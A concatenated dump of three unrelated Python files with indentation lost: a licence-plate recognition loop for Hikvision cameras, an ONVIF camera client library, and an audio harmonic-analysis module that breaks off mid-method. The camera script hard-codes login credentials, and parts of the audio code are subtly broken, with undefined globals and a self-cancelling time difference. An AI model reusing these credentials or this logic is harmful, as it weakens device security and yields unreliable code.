import base64 import ctypes import inspect import socket import threading import datetime from hyperlpr_py3 import pipline as pp import cv2 import time import HK_Capture as hkc from xlutils.copy import copy from xlrd import open_workbook statedict = {} SEGKEY = "---" # its a try catch_Interval = 0 # 设置抓图间隔,单位s timeOut = 10 # 设置抓图超时时间,单位s IPList = ["192.168.0.101"] # 摄像机群的IP地址列表 hkcamList = [] NameList = [] for i in range(len(IPList)): IPAddress = IPList[i] hkcam = hkc.HKIPCam(IPAddress, 'admin2', 'hk123456') # 相机初始化 hkcam.NET_DVR_SetLogToFile() # 打开日志记录 hkcam.Change_CamZoom(20) # 调焦距 hkcamList += [hkcam] NameList += [IPAddress[IPAddress.rfind(".") + 1:]] def init(): global flag, usetime, pic, startcollect, recres, STATE, statedict, connlist statedict[0] = "准备中" statedict[1] = "抓图中" statedict[2] = "识别图像中" statedict[3] = "识别完成,等待间隔时间中" statedict[4] = "抓图超时,重启中" statedict[5] = "抓图失败" statedict[6] = "识别发生错误" STATE = [0 for _ in range(len(IPList))] recres = [] flag = [False for _ in range(len(IPList))] usetime = [-1 for _ in range(len(IPList))] pic = [0 for _ in range(len(IPList))] startcollect = [False for _ in range(len(IPList))] connlist = {} def _async_raise(tid, exctype): """raises the exception, performs cleanup if needed""" tid = ctypes.c_long(tid) if not inspect.isclass(exctype): exctype = type(exctype) res = ctypes.pythonapi.PyThreadState_SetAsyncExc(tid, ctypes.py_object(exctype)) if res == 0: raise ValueError("invalid thread id") elif res != 1: ctypes.pythonapi.PyThreadState_SetAsyncExc(tid, None) raise SystemError("PyThreadState_SetAsyncExc failed") def stop_thread(thread): _async_raise(thread.ident, SystemExit) def getpic(hkcam, Name, turn): global flag, usetime usetime[turn] = hkcam.Get_JPEGpicture(Name) flag[turn] = True return usetime[turn] def startCollectThread(turn): nowtime = time.time() reclist = [] pos = 0 while True: global flag, usetime, pic, startcollect, recres, connlist i = turn hkcam = hkcamList[i] IPAddress = IPList[i] Name = NameList[i] try: f = open("restartlog_{}.txt".format(Name), 'a') STATE[i] = 1 t = threading.Thread(target=getpic, args=(hkcam, Name, i)) flag[i] = False usetime[i] = -1 t.start() # 多线程开始抓取图片 tmp = False if startcollect[i]: TIME = timeOut * 100 else: TIME = 2000 for j in range(TIME): time.sleep(0.01) if flag[i]: tmp = True break if not tmp: stop_thread(t) f.write("收集图片数量:") f.write(str(pic)) f.write(" ") pic[i] = 0 startcollect[i] = False f.write("开始重启时间:") f.write(str(datetime.datetime.now())) f.write("\n") print("{}: 超时,准备重启:".format(Name)) STATE[i] = 4 hkcam.Restart() time.sleep(10) if usetime[i] > 0: pic[i] += 1 if not startcollect[i]: startcollect[i] = True f.write(" 恢复时间:") f.write(str(datetime.datetime.now())) f.write("\n\n") STATE[i] = 2 image = cv2.imread("capture_{}.jpg".format(Name)) recres = pp.SimpleRecognizePlate(image) print("{}: result: {}".format(Name, recres)) if time.time() - nowtime > 10000: nowtime = time.time() if len(recres) > 0: reclist += [str(time.localtime(time.time())) + " : " + str(recres)] # 将结果写入Excel: out.xls try: rb = open_workbook('out.xls') wb = copy(rb) wb.get_sheet(0).write(turn, 0, IPAddress) for j in range(pos, len(reclist)): wb.get_sheet(0).write(turn, j + 1, str(recres[j][0]) + " " + str(recres[j][1]) + ' ' + (" ".join(str(_) for _ in recres[j][2]))) pos = j # 写入Excel数据格式: # IP地址 1 时间1: 识别结果1 置信度1 左上角x坐标 左上角y坐标 右下角x坐标 右下角y坐标 时间2: 识别结果2 置信度2 左上角x坐标 左上角y坐标 右下角x坐标 右下角y坐标...... # IP地址 2 时间1: 识别结果1 置信度1 左上角x坐标 左上角y坐标 右下角x坐标 右下角y坐标 时间2: 识别结果2 置信度2 左上角x坐标 左上角y坐标 右下角x坐标 右下角y坐标...... # ............ wb.save('out.xls') print('{}: Excel写入成功'.format(Name)) except: print('{}: Excel写入失败,请检查是否被占用。'.format(Name)) print("--------------------------------") STATE[i] = 3 if usetime[i] == -47: print("{}: 重新登录:".format(Name)) hkcamList[turn] = hkc.HKIPCam(IPAddress, 'admin2', 'hk123456') if STATE[i] != 3: STATE[i] = 5 print("") f.close() except: print("{}: 识别发生错误,请稍候...\n".format(Name)) STATE[i] = 6 time.sleep(catch_Interval) init() startCollectThread(0)
client.py
from __future__ import print_function, division __version__ = '0.0.1' import datetime as dt import logging import os.path from threading import Thread, RLock from zeep.client import Client, CachingClient, Settings from zeep.wsse.username import UsernameToken import zeep.helpers from onvif.exceptions import ONVIFError from onvif.definition import SERVICES logger = logging.getLogger('onvif') logging.basicConfig(level=logging.INFO) logging.getLogger('zeep.client').setLevel(logging.CRITICAL) # Ensure methods to raise an ONVIFError Exception # when some thing was wrong def safe_func(func): def wrapped(*args, **kwargs): try: return func(*args, **kwargs) except Exception as err: raise ONVIFError(err) return wrapped class UsernameDigestTokenDtDiff(UsernameToken): """ UsernameDigestToken class, with a time offset parameter that can be adjusted; This allows authentication on cameras without being time synchronized. Please note that using NTP on both end is the recommended solution, this should only be used in "safe" environments. """ def __init__(self, user, passw, dt_diff=None, **kwargs): super().__init__(user, passw, **kwargs) self.dt_diff = dt_diff # Date/time difference in datetime.timedelta def apply(self, envelope, headers): old_created = self.created if self.created is None: self.created = dt.datetime.utcnow() if self.dt_diff is not None: self.created += self.dt_diff result = super().apply(envelope, headers) self.created = old_created return result class ONVIFService(object): """ Python Implemention for ONVIF Service. Services List: DeviceMgmt DeviceIO Event AnalyticsDevice Display Imaging Media PTZ Receiver RemoteDiscovery Recording Replay Search Extension >>> from onvif import ONVIFService >>> device_service = ONVIFService('http://192.168.0.112/onvif/device_service', ... 'admin', 'foscam', ... '/etc/onvif/wsdl/devicemgmt.wsdl') >>> ret = device_service.GetHostname() >>> print ret.FromDHCP >>> print ret.Name >>> device_service.SetHostname(dict(Name='newhostname')) >>> ret = device_service.GetSystemDateAndTime() >>> print ret.DaylightSavings >>> print ret.TimeZone >>> dict_ret = device_service.to_dict(ret) >>> print dict_ret['TimeZone'] There are two ways to pass parameter to services methods 1. Dict params = {'Name': 'NewHostName'} device_service.SetHostname(params) 2. Type Instance params = device_service.create_type('SetHostname') params.Hostname = 'NewHostName' device_service.SetHostname(params) """ @safe_func def __init__(self, xaddr, user, passwd, url, encrypt=True, daemon=False, zeep_client=None, no_cache=False, dt_diff=None, binding_name='', transport=None): if not os.path.isfile(url): raise ONVIFError('%s doesn`t exist!' % url) self.url = url self.xaddr = xaddr wsse = UsernameDigestTokenDtDiff(user, passwd, dt_diff=dt_diff, use_digest=encrypt) # Create soap client if not zeep_client: ClientType = Client if no_cache else CachingClient settings = Settings() settings.strict = False settings.xml_huge_tree = True self.zeep_client = ClientType(wsdl=url, wsse=wsse, transport=transport, settings=settings) else: self.zeep_client = zeep_client self.ws_client = self.zeep_client.create_service(binding_name, self.xaddr) # Set soap header for authentication self.user = user self.passwd = passwd # Indicate wether password digest is needed self.encrypt = encrypt self.daemon = daemon self.dt_diff = dt_diff self.namespace = binding_name[1:binding_name.index("}")] self._namespace_prefix = self._get_namespace_prefix(self.namespace) self.create_type = lambda x: self.zeep_client.get_element(self._namespace_prefix + ':' + x)() @classmethod @safe_func def clone(cls, service, *args, **kwargs): clone_service = service.ws_client.clone() kwargs['ws_client'] = clone_service return ONVIFService(*args, **kwargs) @staticmethod @safe_func def to_dict(zeepobject): # Convert a WSDL Type instance into a dictionary return {} if zeepobject is None else zeep.helpers.serialize_object(zeepobject) def service_wrapper(self, func): @safe_func def wrapped(params=None, callback=None): def call(params=None, callback=None): # No params # print(params.__class__.__mro__) if params is None: params = {} else: params = ONVIFService.to_dict(params) try: ret = func(**params) except TypeError: ret = func(params) if callable(callback): callback(ret) return ret if self.daemon: th = Thread(target=call, args=(params, callback)) th.daemon = True th.start() else: return call(params, callback) return wrapped def __getattr__(self, name): """ Call the real onvif Service operations, See the official wsdl definition for the APIs detail(API name, request parameters, response parameters, parameter types, etc...) """ builtin = name.startswith('__') and name.endswith('__') if builtin: return self.__dict__[name] else: return self.service_wrapper(getattr(self.ws_client, name)) def _get_namespace_prefix(self, namespace): for prefix, name in self.zeep_client.namespaces.items(): if name == namespace: return prefix return "ns0" class ONVIFCamera(object): """ Python Implementation of an ONVIF compliant device. This class integrates ONVIF services adjust_time parameter allows authentication on cameras without being time synchronized. Please note that using NTP on both end is the recommended solution, this should only be used in "safe" environments. Also, this cannot be used on AXIS camera, as every request is authenticated, contrary to ONVIF standard >>> from onvif import ONVIFCamera >>> mycam = ONVIFCamera('192.168.0.112', 80, 'admin', '12345') >>> mycam.devicemgmt.GetServices(False) >>> media_service = mycam.create_media_service() >>> ptz_service = mycam.create_ptz_service() # Get PTZ Configuration: >>> ptz_service.GetConfiguration() """ # Class-level variables services_template = {'devicemgmt': None, 'ptz': None, 'media': None, 'imaging': None, 'events': None, 'analytics': None} use_services_template = {'devicemgmt': True, 'ptz': True, 'media': True, 'imaging': True, 'events': True, 'analytics': True} def __init__(self, host, port, user, passwd, wsdl_dir=os.path.join(os.path.dirname(os.path.dirname(__file__)), "wsdl"), encrypt=True, daemon=False, no_cache=False, adjust_time=False, transport=None): os.environ.pop('http_proxy', None) os.environ.pop('https_proxy', None) self.host = host self.port = int(port) self.user = user self.passwd = passwd self.wsdl_dir = wsdl_dir self.encrypt = encrypt self.daemon = daemon self.no_cache = no_cache self.adjust_time = adjust_time self.transport = transport # Active service client container self.services = {} self.services_lock = RLock() # Set xaddrs self.update_xaddrs() self.to_dict = ONVIFService.to_dict def update_xaddrs(self): # Establish devicemgmt service first self.dt_diff = None self.devicemgmt = self.create_devicemgmt_service() if self.adjust_time: cdate = self.devicemgmt.GetSystemDateAndTime().UTCDateTime cam_date = dt.datetime(cdate.Date.Year, cdate.Date.Month, cdate.Date.Day, cdate.Time.Hour, cdate.Time.Minute, cdate.Time.Second) self.dt_diff = cam_date - dt.datetime.utcnow() self.devicemgmt.dt_diff = self.dt_diff self.devicemgmt = self.create_devicemgmt_service() # Get XAddr of services on the device self.xaddrs = {} capabilities = self.devicemgmt.GetCapabilities({'Category': 'All'}) for name in capabilities: capability = capabilities[name] try: if name.lower() in SERVICES and capability is not None: ns = SERVICES[name.lower()]['ns'] self.xaddrs[ns] = capability['XAddr'] except Exception: logger.exception('Unexpected service type') with self.services_lock: try: self.event = self.create_events_service() self.xaddrs['http://www.onvif.org/ver10/events/wsdl/PullPointSubscription'] = \ self.event.CreatePullPointSubscription().SubscriptionReference.Address._value_1 except Exception: pass def update_url(self, host=None, port=None): changed = False if host and self.host != host: changed = True self.host = host if port and self.port != port: changed = True self.port = port if not changed: return self.devicemgmt = self.create_devicemgmt_service() self.capabilities = self.devicemgmt.GetCapabilities() with self.services_lock: for sname in self.services.keys(): xaddr = getattr(self.capabilities, sname.capitalize).XAddr self.services[sname].ws_client.set_options(location=xaddr) def get_service(self, name, create=True): service = getattr(self, name.lower(), None) if not service and create: return getattr(self, 'create_%s_service' % name.lower())() return service def get_definition(self, name, portType=None): """Returns xaddr and wsdl of specified service""" # Check if the service is supported if name not in SERVICES: raise ONVIFError('Unknown service %s' % name) wsdl_file = SERVICES[name]['wsdl'] ns = SERVICES[name]['ns'] binding_name = '{%s}%s' % (ns, SERVICES[name]['binding']) if portType: ns += '/' + portType wsdlpath = os.path.join(self.wsdl_dir, wsdl_file) if not os.path.isfile(wsdlpath): raise ONVIFError('No such file: %s' % wsdlpath) # XAddr for devicemgmt is fixed: if name == 'devicemgmt': xaddr = '%s:%s/onvif/device_service' % \ (self.host if (self.host.startswith('http://') or self.host.startswith('https://')) else 'http://%s' % self.host, self.port) return xaddr, wsdlpath, binding_name # Get other XAddr xaddr = self.xaddrs.get(ns) if not xaddr: raise ONVIFError("Device doesn't support service: %s" % name) return xaddr, wsdlpath, binding_name def create_onvif_service(self, name, portType=None, transport=None): """ Create ONVIF service client. :param name: service name, should be present as a key within the `SERVICES` dictionary declared within the `onvif.definition` module :param portType: :param transport: :return: """ """Create ONVIF service client""" name = name.lower() xaddr, wsdl_file, binding_name = self.get_definition(name, portType) with self.services_lock: if not transport: transport = self.transport service = ONVIFService(xaddr, self.user, self.passwd, wsdl_file, self.encrypt, self.daemon, no_cache=self.no_cache, dt_diff=self.dt_diff, binding_name=binding_name, transport=transport) self.services[name] = service setattr(self, name, service) if not self.services_template.get(name): self.services_template[name] = service return service def create_devicemgmt_service(self, transport=None): # The entry point for devicemgmt service is fixed. return self.create_onvif_service('devicemgmt', transport=transport) def create_media_service(self, transport=None): return self.create_onvif_service('media', transport=transport) def create_ptz_service(self, transport=None): return self.create_onvif_service('ptz', transport=transport) def create_imaging_service(self, transport=None): return self.create_onvif_service('imaging', transport=transport) def create_deviceio_service(self, transport=None): return self.create_onvif_service('deviceio', transport=transport) def create_events_service(self, transport=None): return self.create_onvif_service('events', transport=transport) def create_analytics_service(self, transport=None): return self.create_onvif_service('analytics', transport=transport) def create_recording_service(self, transport=None): return self.create_onvif_service('recording', transport=transport) def create_search_service(self, transport=None): return self.create_onvif_service('search', transport=transport) def create_replay_service(self, transport=None): return self.create_onvif_service('replay', transport=transport) def create_pullpoint_service(self, transport=None): return self.create_onvif_service('pullpoint', portType='PullPointSubscription', transport=transport) def create_receiver_service(self, transport=None): return self.create_onvif_service('receiver', transport=transport) def create_notification_service(self, transport=None): return self.create_onvif_service('notification', transport=transport) def create_subscription_service(self, transport=None): return self.create_onvif_service('subscription', transport=transport)
DescripteursHarmoniques.py
from __future__ import print_function, division import numpy as np import matplotlib.pyplot as plt from numpy import linalg as LA from matplotlib.animation import FuncAnimation from matplotlib.ticker import FormatStrFormatter from mpl_toolkits.mplot3d import Axes3D from operator import itemgetter, attrgetter, truediv import statistics as stat from scipy import signal from scipy.optimize import minimize import math import matplotlib.image as mpimg #from scipy import signal import librosa import librosa.display import wave import sys import soundfile as sf import os import pyaudio import threading import pickle np.seterr(divide='ignore', invalid='ignore') import params WINDOW = params.WINDOW BINS_PER_OCTAVE = params.BINS_PER_OCTAVE BINS_PER_OCTAVE_ONSETS = params.BINS_PER_OCTAVE_ONSETS FILTER_SCALE = params.FILTER_SCALE STEP = 512 α = params.α ω = params.ω H = params.H T = params.T T_att = params.T_att cmap = params.cmap ϵ = sys.float_info.epsilon class AudioFile: chunk = 1024 def __init__(self, file): """ Init audio stream """ self.file = file self.wf = wave.open(file, 'rb') self.p = pyaudio.PyAudio() self.stream = self.p.open( format = self.p.get_format_from_width(self.wf.getsampwidth()), channels = self.wf.getnchannels(), rate = self.wf.getframerate(), output = True ) def __truePlay(self): data = self.wf.readframes(self.chunk) while data != '': self.stream.write(data) data = self.wf.readframes(self.chunk) def play(self): """ Play entire file """ x = threading.Thread(target=self.__truePlay, args=()) x.start() def close(self): """ Graceful shutdown """ self.stream.close() self.p.terminate() class SignalSepare: """ Prend en entrée en signal et le signal des pistes audio séparées. """ def __init__(self, signal, sr, pistes, Notemin = 'D3', Notemax = 'D9', onset_frames = [], delOnsets = [], addOnsets = [], score = [], instrument = ''): self.y = signal self.pistes = pistes self.sr = sr self.n_pistes = len(pistes) self.Notemin = Notemin self.Notemax = Notemax self.delOnsets = delOnsets self.addOnsets = addOnsets self.score = score self.instrument = instrument self.n_bins_ONSETS = 0 self.n_bins = 0 self.N = 0 self.fmin = 0 self.fmax = 0 self.n_bins = 0 self.n_att = 0 self.n_frames = 0 self.N_sample = [] self.Dev = [] self.Seuil = [] self.times = [] self.Onset_given = True self.onset_times = [] self.onset_times_graph = [] self.onset_frames = onset_frames self.Percu = [] self.Chrom_ONSETS = [] self.ChromDB_ONSETS = [] self.ChromSync_ONSETS = [] self.ChromPistesSync_ONSETS = [] self.ChromDB_reloc = [] self.Chrom = [] self.chromSync = [] self.chromSyncDB = [] self.chromPistesSync = [] self.chromSyncSimpl = [] self.chromPistesSyncSimpl = [] self.ChromNoHpss = [] self.energy = [] self.energyPistes = [] self.activation = [] self.n_notes = [] self.chrom_concordance = [] self.concordance = [] self.chrom_concordanceTot = [] self.concordanceTot = [] self.chrom_concordance3 = [] self.concordance3 = [] self.tension = [] self.roughness = [] self.chrom_harmonicity = [] self.liste_partials = [] self.tensionSignal = [] self.chrom_roughness = [] self.roughnessSignal = [] self.chrom_harmonicChange = [] self.harmonicChange = [] self.chrom_crossConcordance = [] self.crossConcordance = [] self.chrom_crossConcordanceTot = [] self.crossConcordanceTot = [] self.chrom_diffConcordance = [] self.diffRoughness = [] self.chrom_diffRoughness = [] self.diffConcordance = [] self.harmonicity = [] self.virtualPitch = [] self.context = [] self.contextSimpl = [] self.energyContext = [] self.chrom_harmonicNovelty = [] self.harmonicNovelty = [] self.harmonicityContext = [] self.virtualPitchContext = [] self.roughnessContext = [] self.chrom_roughnessContext = [] self.diffConcordanceContext = [] self.chrom_diffConcordanceContext = [] self.diffRoughnessContext = [] self.chrom_diffRoughnessContext = [] def DetectionOnsets(self): self.fmin = librosa.note_to_hz(self.Notemin) self.fmax = librosa.note_to_hz(self.Notemax) #Nmin = int((sr/(fmax*(2**(1/BINS_PER_OCTAVE)-1)))) #Nmax = int((sr/(fmin*(2**(1/BINS_PER_OCTAVE)-1)))) self.n_bins_ONSETS = int((librosa.note_to_midi(self.Notemax) - librosa.note_to_midi(self.Notemin))*BINS_PER_OCTAVE_ONSETS/12) self.Chrom_ONSETS = np.abs(librosa.cqt(y=self.y, sr=self.sr, hop_length = STEP, fmin= self.fmin, bins_per_octave=BINS_PER_OCTAVE_ONSETS, n_bins=self.n_bins_ONSETS, window=WINDOW)) self.ChromDB_ONSETS = librosa.amplitude_to_db(self.Chrom_ONSETS, ref=np.max) self.N = len(self.ChromDB_ONSETS[0]) self.times = librosa.frames_to_time(np.arange(self.N), sr=self.sr, hop_length=STEP) # CALCUL DES ONSETS (pour onset précalculé, le rentrer dans self.onset_frames à l'initialisation) if len(self.onset_frames) == 0: self.Onset_given = False Diff = np.zeros((self.n_bins_ONSETS,self.N)) self.Dev = np.zeros(self.N) for j in range(1,self.N): for i in range(self.n_bins_ONSETS): Diff[i,j] = np.abs(self.ChromDB_ONSETS[i,j]-self.ChromDB_ONSETS[i,j-1]) self.Dev[j] = sum(Diff[:,j]) # FONCTION DE SEUIL # Ajout de zéros en queue et en tête l = [] Onsets = [] for k in range(int(H/2)): l.append(0) for val in self.Dev: l.append(val) for k in range(int(H/2)): l.append(0) #Calcul de la médiane for i in range(self.N): self.Seuil.append(α + ω*stat.median(l[i:i+H])) if self.Dev[i] > self.Seuil[i]: Onsets.append(i) # FONCTION DE TRI SUR LES ONSETS # Onsets espacés d'au moins T i=0 while i<(len(Onsets)-1): while (i<(len(Onsets)-1)) and (self.times[Onsets[i+1]]< self.times[Onsets[i]]+T): if (self.Dev[Onsets[i+1]]-self.Seuil[Onsets[i+1]]) < (self.Dev[Onsets[i]]-self.Seuil[Onsets[i]]): del Onsets[i+1] #if (Dev[Onsets[i+1]]) < (Dev[Onsets[i]]): del Onsets[i+1] else: del Onsets[i] i=i+1 # Suppression manuelle des onsets en trop (cela nécessite d'avoir affiché les onsets jusqu'ici détectés) if isinstance(self.delOnsets, str): Onsets = [] else: self.delOnsets.sort(reverse = True) for o in self.delOnsets: Onsets.pop(o-1) #Ajout manuel des onsets for t in self.addOnsets: Onsets.append(librosa.time_to_frames(t, sr=self.sr, hop_length=STEP)) Onsets.sort() self.onset_frames = librosa.util.fix_frames(Onsets, x_min=0, x_max=self.ChromDB_ONSETS.shape[1]-1) self.onset_frames = librosa.util.fix_frames(self.onset_frames, x_min=0, x_max=self.ChromDB_ONSETS.shape[1]-1) self.onset_times = librosa.frames_to_time(self.onset_frames, sr=self.sr, hop_length = STEP) self.n_frames = len(self.onset_frames)-1 self.n_notes = np.ones(self.n_frames) # TRANSFORMÉE avec la précision due pour l'analyse self.n_bins = int((librosa.note_to_midi(self.Notemax) - librosa.note_to_midi(self.Notemin))*BINS_PER_OCTAVE/12) self.Chrom = np.abs(librosa.cqt(y=self.y, sr=self.sr, hop_length = STEP, fmin= self.fmin, bins_per_octave=BINS_PER_OCTAVE, n_bins=self.n_bins, window=WINDOW, filter_scale = FILTER_SCALE)) # self.Chrom[np.isnan(self.Chrom)] = 0 # Relocalisation if params.spectral_reloc: freq_analyse = [self.fmin*2**(k/BINS_PER_OCTAVE) for k in range(self.n_bins)] N = [round(self.sr * params.FILTER_SCALE/(f*(2**(1/BINS_PER_OCTAVE)-1))) for f in freq_analyse] self.N_sample = [round(n/STEP) for n in N] Chrom_copy = np.copy(self.Chrom) for k in range(self.n_bins): for n in reversed(range(self.N)): if n <= self.N_sample[k]: self.Chrom[k,n] = Chrom_copy[k,n] else: self.Chrom[k,n] = Chrom_copy[k,n-int(self.N_sample[k]/2)] # Décomposition partie harmonique / partie percussive if params.decompo_hpss: self.ChromNoHpss = np.copy(self.Chrom) self.Chrom = librosa.decompose.hpss(self.Chrom, margin=params.margin)[0] self.ChromDB = librosa.amplitude_to_db(self.Chrom, ref=np.max) #Synchronisation sur les onsets, en enlevant le début et la fin des longues frames self.chromSync = np.zeros((self.n_bins,self.n_frames)) self.n_att = int(librosa.time_to_frames(T_att, sr=self.sr, hop_length = STEP)) # for j in range(self.n_frames): # if j==0: # for i in range(self.n_bins): # self.chromSync[i,j] = np.median(self.Chrom[i][self.onset_frames[j]:self.onset_frames[j+1]]) # else: # for i in range(self.n_bins): # self.chromSync[i,j] = np.median(self.Chrom[i][(self.onset_frames[j]+self.n_att):(self.onset_frames[j+1])]) Δmin = 0.1 # en secondes for i in range(self.n_bins): f = self.fmin*2**(i/BINS_PER_OCTAVE) T_ret = 1.5 / (f * (2**(1.0/(12*4)) - 1)) for j in range(self.n_frames): if j==0: self.chromSync[i,j] = np.median(self.Chrom[i][self.onset_frames[j]:self.onset_frames[j+1]]) else: if T_ret < (self.onset_times[j+1] - self.onset_times[j+1]) - Δmin: self.chromSync[i,j] = np.median(self.Chrom[i][(self.onset_frames[j]+int(librosa.time_to_frames(T_ret, sr=self.sr, hop_length = STEP))):(self.onset_frames[j+1])]) else: self.chromSync[i,j] = np.median(self.Chrom[i][(self.onset_frames[j+1]-int(librosa.time_to_frames(Δmin, sr=self.sr, hop_length = STEP))):(self.onset_frames[j+1])]) self.chromSync[np.isnan(self.chromSync)] = 0 self.chromSync[:,0] = np.zeros(self.n_bins) self.chromSync[:,-1] = np.zeros(self.n_bins) self.chromSyncDB = librosa.amplitude_to_db(self.chromSync, ref=np.max) #Calcul de l'énergie for t in range(self.n_frames): self.energy.append(LA.norm(self.chromSync[:,t])**2) def Clustering(self): """ Découpe et synchronise les pistes séparées sur les ONSETS, stoque le spectrogramme synchronisé en construisant self.chromPistesSync""" if len(self.pistes) != 0: # Construction de chromPistesSync ChromPistes = [] for k, voice in enumerate(self.pistes): if params.decompo_hpss: ChromPistes.append(np.nan_to_num(librosa.decompose.hpss(np.abs(librosa.cqt(y=voice, sr=self.sr, hop_length = STEP, fmin= self.fmin, bins_per_octave=BINS_PER_OCTAVE, n_bins=self.n_bins)), margin=params.margin)[0],False)) else: ChromPistes.append(np.nan_to_num(np.abs(librosa.cqt(y=voice, sr=self.sr, hop_length = STEP, fmin= self.fmin, bins_per_octave=BINS_PER_OCTAVE, n_bins=self.n_bins)),False)) for k, voice in enumerate(self.pistes): # if params.spectral_reloc: # ChromPistesCopy = np.copy(ChromPistes) # for f in range(self.n_bins): # for n in reversed(range(self.N)): # if n <= self.N_sample[f]: ChromPistes[k][f,n] = ChromPistesCopy[k][f,n] # else: ChromPistes[k][f,n] = ChromPistesCopy[k][f,n-int(self.N_sample[f]/2)] self.chromPistesSync.append(np.zeros((self.n_bins,self.n_frames))) for j in range(self.n_frames): if j==0: for i in range(self.n_bins): self.chromPistesSync[k][i,j] = np.median(ChromPistes[k][i][self.onset_frames[j]:self.onset_frames[j+1]]) else: for i in range(self.n_bins): self.chromPistesSync[k][i,j] = np.median(ChromPistes[k][i][(self.onset_frames[j]+self.n_att):(self.onset_frames[j+1]-self.n_att)]) # Calcul de l'énergie des pistes self.energyPistes = np.zeros((self.n_pistes, self.n_frames)) for t in range(self.n_frames): for k in range(self.n_pistes): self.energyPistes[k,t] = np.sum(np.multiply(self.chromPistesSync[k][:,t], self.chromPistesSync[k][:,t])) # Calcul de la matrice d'activation (pour savoir quelles voix contiennent des notes à quel moment) + mise à zéro des pistes sans note # Par défaut, tout est à 1, ie dans chaque frame chaque piste joue une note self.activation = np.ones((self.n_pistes, self.n_frames)) if title in params.list_calcul_nombre_notes: max_energy = np.amax(self.energyPistes, axis = 1) for k in range(self.n_pistes): for t in range(self.n_frames): if (self.energyPistes[k,t] < params.seuil_activation * max_energy[k]): self.activation[k,t] = 0 self.chromPistesSync[k][:,t] = 0 self.activation[:,0] = 0 self.activation[:,self.n_frames-1] = 0 elif title in params.list_3_voix: self.activation[-1] = np.zeros(self.n_frames) # Calcul du nombre de notes self.n_notes = np.sum(self.activation, axis=0) self.n_notes[0] = 0 self.n_notes[-1] = 0 def Context(self, type = params.memory_type, size = params.memory_size - 1, decr = params.memory_decr_ponderation): #Construction du context harmonique self.context = np.zeros((self.n_bins,self.n_frames)) self.context[:,0] = self.chromSync[:,0] # Memory = "full" if isinstance(size,str): if type == 'max': for t in range(1,self.n_frames): self.context[:,t] = np.fmax(self.context[:,t-1],self.chromSync[:,t]) elif type == 'mean': #Construction du vecteur de pondération weights = [(1/i**decr) for i in range(1,self.n_frames+2)] #Moyennage for t in range(1,self.n_frames): self.context[:,t] = np.average(self.chromSync[:,:(t+1)], axis=1, weights=[weights[t-i] for i in range(t+1)]) # Memory = int elif isinstance(size,int): if type == 'max': for t in range(1,size+1): self.context[:,t] = np.fmax(self.chromSync[:,t], self.context[:,t-1]) for t in range(size+1,self.n_frames): self.context[:,t] = np.amax(self.chromSync[:,(t-size):(t+1)], axis = 1) elif type == 'mean': #Construction du vecteur de pondération weights = [(1/i**decr) for i in range(1,size+2)] #Moyennage for t in range(1,size+1): self.context[:,t] = np.average(self.chromSync[:,1:(t+1)], axis=1, weights=[weights[t-i] for i in range(1,t+1)]) for t in range(size+1,self.n_frames): self.context[:,t] = np.average(self.chromSync[:,(t-size):(t+1)], axis=1, weights=[weights[size-i] for i in range(size+1)]) #Calcul de l'énergie du contexte self.energyContext = [] for t in range(self.n_frames): self.energyContext.append(LA.norm(self.context[:,t])**2) def SimplifySpectrum(self): self.chromSyncSimpl = np.zeros(self.chromSync.shape) self.contextSimpl = np.zeros(self.context.shape) self.chromPistesSyncSimpl= np.copy(self.chromPistesSync) δ = params.δ if distribution == 'themeAcc' or distribution == 'voix': for t in range(self.n_frames): for i in range(10, self.n_bins - 10): for p in range(len(self.pistes)): if self.chromPistesSync[p][i,t] < np.max(self.chromPistesSync[p][i-δ:i+δ+1,t]): self.chromPistesSyncSimpl[p][i,t] = 0 else: self.chromPistesSyncSimpl[p][i,t] = np.sum(self.chromPistesSync[p][i-δ:i+δ+1,t]) # Global if self.chromSync[i,t] < np.max(self.chromSync[i-δ:i+δ+1,t]): self.chromSyncSimpl[i,t] = 0 else: self.chromSyncSimpl[i,t] = np.sum(self.chromSync[i-δ:i+δ+1,t]) # Contexte if self.context[i,t] < np.max(self.context[i-δ:i+δ+1,t]): self.contextSimpl[i,t] = 0 else: self.contextSimpl[i,t] = np.sum(self.context[i-δ:i+δ+1,t]) # for p in range(len(self.pistes)): # self.chromSyncSimpl += self.chromPistesSyncSimpl[p] elif distribution == 'record': for t in range(self.n_frames): for i in range(10, self.n_bins - 10): # Global if self.chromSync[i,t] < np.max(self.chromSync[i-δ:i+δ+1,t]): self.chromSyncSimpl[i,t] = 0 else: self.chromSyncSimpl[i,t] = np.sum(self.chromSync[i-δ:i+δ+1,t]) # Contexte if self.context[i,t] < np.max(self.context[i-δ:i+δ+1,t]): self.contextSimpl[i,t] = 0 else: self.contextSimpl[i,t] = np.sum(self.context[i-δ:i+δ+1,t]) # Liste des partiels de self.chromSyncSimpl self.liste_partials = [] for t in range(self.n_frames): self.liste_partials.append([]) for k in range(self.n_bins): if self.chromSyncSimpl[k,t] > 0: self.liste_partials[t].append(k) def Concordance(self): """Multiplie les spectres (cqt) des différentes pistes pour créer le spectre de concordance, et calcule la concordance en sommant sur les fréquences""" self.chrom_concordance = np.zeros((self.n_bins,self.n_frames)) for k in range(self.n_pistes-1): for l in range(k+1, self.n_pistes): self.chrom_concordance += np.multiply(self.chromPistesSync[k], self.chromPistesSync[l]) # Normalisation par l'énergie et par le nombre de notes for t in range(self.n_frames): if self.n_notes[t] >= 2: self.chrom_concordance[:,t] *= (self.n_notes[t]**(2*params.norm_conc)/(self.n_notes[t]*(self.n_notes[t]-1)/2)) / (self.energy[t]**params.norm_conc) self.chrom_concordance[:,0] = 0 self.chrom_concordance[:,self.n_frames-1] = 0 self.concordance = self.chrom_concordance.sum(axis=0) # self.concordance[0]=0 # self.concordance[self.n_frames-1]=0 def ConcordanceTot(self): """Multiplie les spectres (cqt) des différentes pistes pour créer le spectre de concordance, et calcule la concordance en sommant sur les fréquences""" self.chrom_concordanceTot = np.ones((self.n_bins,self.n_frames)) for t in range(self.n_frames): for k in range(self.n_pistes): if self.activation[k,t]: self.chrom_concordanceTot[:,t] = np.multiply(self.chrom_concordanceTot[:,t], self.chromPistesSync[k][:,t]) if self.n_notes[t]>=1: self.chrom_concordanceTot[:,t] = np.divide((self.n_notes[t]**(self.n_notes[t]*params.norm_concTot)) * self.chrom_concordanceTot[:,t], LA.norm(self.chromSync[:,t], self.n_notes[t])**(self.n_notes[t]*params.norm_concTot)) self.concordanceTot.append(self.chrom_concordanceTot[:,t].sum(axis=0))#**(1./self.n_notes[t])) self.chrom_concordanceTot[:,0] = 0 self.chrom_concordanceTot[:,self.n_frames-1] = 0 self.concordanceTot[0]=0 